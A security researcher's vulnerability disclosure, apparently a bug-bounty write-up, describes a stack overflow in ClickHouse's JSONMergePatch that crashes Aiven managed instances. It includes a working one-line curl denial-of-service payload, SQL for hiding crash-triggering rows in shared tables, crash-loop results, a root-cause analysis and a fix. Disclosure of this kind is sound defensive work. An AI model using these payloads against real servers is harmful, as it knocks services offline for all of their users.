Zion Boggan

In-depth vulnerability research, detection engineering & applied cryptography.

● Open to security-research & detection roles
GitHub · LinkedIn · Email
← Research notebook
DoS / stack overflow

Stack Overflow in JSONMergePatch Crashes Aiven Managed ClickHouse via Single SELECT Query

Summary

Aiven’s managed ClickHouse service (Tier 1) is vulnerable to an authenticated denial-of-service attack that crashes the server process (SIGSEGV) via a single SELECT query. Any authenticated user, including users with only SELECT privileges, can execute SELECT JSONMergePatch(...) with two deeply nested JSON documents, causing an unbounded stack recursion in the merge_objects function (jsonMergePatch.cpp:70-91) that exceeds the thread stack size and kills the server process.

The attack requires no special permissions, no configuration changes, and no prior setup, just one HTTP request. Each crash causes 8-23 seconds of downtime while Aiven’s orchestration restarts the ClickHouse process. A scripted attacker re-crashing on recovery achieves 100% effective downtime.

The crash payload can also be stored in MergeTree table columns as persistent data. A user with INSERT privileges can plant poison data in a shared table they didn’t create. Any future user running a query that applies JSONMergePatch to that data crashes the server, the attacker doesn’t need to be present.

Affected Target

  • Service: Aiven for ClickHouse (Tier 1)
  • Version tested: ClickHouse 25.3.14.1
  • Instance: [REDACTED].<host>:26161

Severity

P1, Critical Impact and/or Easy Difficulty

VRT: Application-Level Denial-of-Service (DoS) > Critical Impact and/or Easy Difficulty

CVSS 3.1: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H, Score: 7.7 (High)

  • AV:N, Network-exploitable over HTTPS
  • AC:L, Single query, no race, no preconditions
  • PR:L, Any authenticated user, including SELECT-only (demonstrated with a restricted user with zero admin privileges)
  • UI:N, No user interaction required
  • S:C, Scope changed: attacker’s session crashes the entire managed instance, disconnecting all clients. Stored poison data causes a different user’s innocent query to crash the server (demonstrated: writer plants data → analyst query crashes server).

Impact summary: - Single SELECT query crashes the entire managed ClickHouse instance (SIGSEGV) - Sustained crash loop: 6 crashes in 93 seconds, 100% effective downtime, server never stays up long enough to serve real queries - Any authenticated user, including SELECT-only users with no admin privileges (demonstrated) - Repeatable indefinitely - Crash payload can be stored in shared table columns, a different user querying that data triggers the crash (demonstrated) - Attacker can hide poison in existing shared tables they have INSERT access to (demonstrated with shared_analytics) - CREATE VIEW with the payload also crashes during type inference evaluation

Steps to Reproduce

Prerequisites

  • An Aiven for ClickHouse instance (any plan)
  • Authentication credentials (any user with SELECT privilege)
  • curl (no other tools needed)

One-line crash

curl -s "https://<user>:<password>@<host>:26161/" \
 --data "SELECT JSONMergePatch(concat(repeat('{\"a\":', 25000), '1', repeat('}', 25000)), concat(repeat('{\"a\":', 25000), '2', repeat('}', 25000))) FORMAT Null"

Observe

The connection is immediately reset (server process died). The server is unreachable for 8-23 seconds while Aiven restarts the ClickHouse process. After restart, SELECT uptime() shows a small value confirming the process was restarted.

Crash depth threshold

Depth 1000: OK (no crash)
Depth 5000: OK (no crash)
Depth 10000: OK (no crash)
Depth 20000: OK (no crash)
Depth 25000: *** CRASH (connection lost) ***
Depth 50000: *** CRASH (connection lost) ***

Full Exploit Chain

Chain 1: Direct crash, any user, one request

Single query, immediate server death. Demonstrated with a analyst user that has only SELECT privileges:

curl (as analyst) → SELECT JSONMergePatch(deep_json_1, deep_json_2) → SIGSEGV → server down

Actual output:

$ # Analyst user has SELECT-only privileges:
$ SHOW GRANTS FOR analyst
GRANT SELECT ON default.* TO analyst

$ curl "https://analyst:<password>@<host>:26161/" \
 --data "SELECT JSONMergePatch(...) FORMAT Null"
curl: (28) Operation timed out ← server process died

$ # After restart:
$ curl "https://.../" --data "SELECT uptime()"
31 ← server restarted

Chain 2: Persistent poison via table data, attacker inserts, victim crashes

Store the crash payload in a MergeTree table. Any future query applying JSONMergePatch to the stored data crashes the server, even from a different user session.

-- Attacker stores deeply nested JSON
CREATE TABLE config_store (id UInt32, config String) ENGINE = MergeTree ORDER BY id;
INSERT INTO config_store VALUES (1, concat(repeat('{"a":', 25000), '1', repeat('}', 25000)));

-- Data persists in MergeTree (survives restart)
-- A DIFFERENT user (analyst, SELECT-only) queries the data:
SELECT JSONMergePatch(config, config) FROM config_store WHERE id=1;
-- ↑ SIGSEGV - server crashes, triggered by the VICTIM's query, not the attacker

Actual output (cross-user test):

=== Uptime before: 1250 ===

=== Analyst (SELECT-only) reads stored poison ===
curl exit code: 56 (SSL connection reset - server died)

=== After restart ===
Uptime: 8 ← server restarted
Poison data persists: 1 row(s) ← data survived restart

Chain 3: Poison hidden in shared table, attacker has INSERT, victim has SELECT

A user with INSERT access plants poison data in an existing shared table they didn’t create. An innocent analyst running a routine query on that table crashes the server.

-- Shared analytics table (pre-existing, not created by attacker):
-- CREATE TABLE shared_analytics (event_date Date, user_id UInt64,
-- event_type String, metadata String)

-- Writer (INSERT+SELECT only) injects poison into metadata column:
INSERT INTO shared_analytics (user_id, event_type, metadata)
 VALUES (999, 'config_update',
 concat(repeat('{"a":', 25000), '"deep"', repeat('}', 25000)));

-- Later, analyst (SELECT-only) runs a routine metadata consolidation:
SELECT JSONMergePatch(s1.metadata, s2.metadata)
 FROM shared_analytics s1, shared_analytics s2
 WHERE s1.event_type = 'config_update' AND s2.event_type = 'config_update';
-- ↑ SIGSEGV - server crashes

Actual output:

=== Writer inserts into shared_analytics (table they didn't create) ===
user_id=999, event_type=config_update, length(metadata)=150006 ← INSERT succeeded

=== Uptime before analyst query: 52 ===

=== Analyst merges metadata rows ===
curl exit code: 56 ← server crashed

The attacker’s data blends in with normal config_update rows. The analyst’s query is a standard JSON merge pattern, nothing suspicious about it.

Chain 4: CREATE VIEW crashes during type inference, DEMONSTRATED

CREATE VIEW innocent_report AS
 SELECT JSONMergePatch(concat(repeat('{"a":', 25000), '1', repeat('}', 25000)),
 concat(repeat('{"a":', 25000), '2', repeat('}', 25000))) AS result;
-- ↑ SIGSEGV during type inference - server crashes before VIEW is even stored

Chain 5: Sustained crash loop, 100% denial of service

A script that re-crashes the server immediately upon recovery achieves permanent denial of service:

=== TIGHT CRASH LOOP - 6 cycles, 3s polling ===
Start: 01:03:06 UTC
Crash #1: down 8s, recovered 01:03:14 UTC
Crash #2: down 22s, recovered 01:03:36 UTC
Crash #3: down 10s, recovered 01:03:46 UTC
Crash #4: down 21s, recovered 01:04:07 UTC
Crash #5: down 9s, recovered 01:04:16 UTC
Crash #6: down 23s, recovered 01:04:39 UTC

Total time: 93s | Downtime: 93s | Downtime ratio: 100%

The server is available for 0% of the attack duration. All connected clients are disconnected on every crash. All in-flight queries are aborted.

Crash-Triggering Paths (Verified)

Trigger Crashes? Notes
SELECT JSONMergePatch(deep, deep) as admin YES Direct query, one HTTP request
SELECT JSONMergePatch(deep, deep) as SELECT-only user YES No admin privileges needed
SELECT JSONMergePatch(config, config) FROM table by different user YES Cross-user stored data trigger
Poison in shared table → analyst query YES Writer plants, analyst crashes server
CREATE VIEW ... AS SELECT JSONMergePatch(deep, deep) YES Type inference evaluation
Sustained crash loop (6 cycles) 100% downtime Server never available during attack
Depth 25,000 YES Minimum crash threshold
Depth 20,000 No Below stack limit

Root Cause Analysis

File: src/Functions/jsonMergePatch.cpp, lines 70-91

The merge_objects recursive lambda performs recursive descent on two JSON document trees to merge them:

auto merge_objects = [&](auto && self, auto && lhs, const auto & rhs) -> void
{
 for (auto it = rhs.MemberBegin(); it != rhs.MemberEnd(); ++it)
 {
 auto lhs_it = lhs.FindMember(it->name);
 if (lhs_it != lhs.MemberEnd())
 {
 if (lhs_it->value.IsObject() && it->value.IsObject())
 self(self, lhs_it->value, it->value); // ← UNBOUNDED RECURSION
 // ...
 }
 // ...
 }
};

The bug: 1. RapidJSON is configured with kParseIterativeFlag (line 14), so it parses arbitrarily deep JSON documents iteratively without stack overflow, the parsing is safe. 2. However, the subsequent merge_objects call recurses to the full depth of the documents with no depth limit and no checkStackSize() call. 3. At depth 25,000+, the recursive call stack (~200 bytes per frame) exceeds the thread stack size (~8MB), causing SIGSEGV.

Why ClickHouse’s existing protections don’t apply: - max_parser_depth (default 1000) limits the SQL parser, not JSON parsing - checkStackSize() is used throughout the query pipeline but was never added to merge_objects - RapidJSON’s iterative parser correctly handles deep documents, but the merge function does not - No setting exists to limit JSON document depth for this function

Evidence of Repeated Crashes

Crash # Trigger User Uptime After
1 SELECT depth 50,000 avnadmin 19s
2 SELECT depth 25,000 avnadmin 29s
3 CREATE VIEW avnadmin 28s
4 SELECT from stored table data avnadmin 148s
5 SELECT from stored data analyst (SELECT-only) 8s
6 Cross-join on shared_analytics analyst (SELECT-only) - (server down)
7-12 Sustained crash loop (6 cycles) avnadmin 1s, 2s, 8s, 1s,, -

Impact

  • Availability: 100% sustained downtime achievable. Scripted attacker re-crashes on recovery, server never serves real queries during attack.
  • Privilege level: Any authenticated user with SELECT privileges can crash the server. No admin access needed (demonstrated with restricted analyst user).
  • Persistence: Crash payload stored in MergeTree tables survives restarts. Future queries on the data trigger the crash without the attacker being present.
  • Stealth: Attacker with INSERT access can hide poison data in existing shared tables (demonstrated with shared_analytics). The triggering query is an innocent-looking metadata merge, no auditing would flag it as malicious.
  • Scope change: The victim of the crash is not the attacker. A writer inserts data; an analyst running a routine report crashes the server for all users.
  • Blast radius: All users of the managed instance are affected. All connected clients disconnected. All in-flight queries aborted.
  • Ease: One HTTP request. No tools beyond curl. No special permissions.

Recommended Fix

  1. Immediate: Add a depth counter to merge_objects in jsonMergePatch.cpp and throw an exception when depth exceeds a reasonable limit (e.g., 1000). Alternatively, add checkStackSize() inside the recursive lambda.

  2. Defense in depth: Consider adding a server-wide setting for maximum JSON document nesting depth in functions that process JSON recursively.

Proof of concept

Single-shell repro: aiven/poc/clickhouse-crash.sh

HOST="<your-instance>.<host>:26161"
USER="<select-only-user>"
PASS="<password>"
./aiven/poc/clickhouse-crash.sh "$HOST" "$USER" "$PASS"

The script issues one SELECT JSONMergePatch(...) with two deeply nested JSON arguments. The server SIGSEGVs; orchestration brings it back in 8-23 seconds. Loop the script and the instance never stays up long enough to serve real queries.


Source · github.com/zionsworking/security-research-notebook · writeups/aiven-clickhouse-jsonmergepatch-stack-overflow.md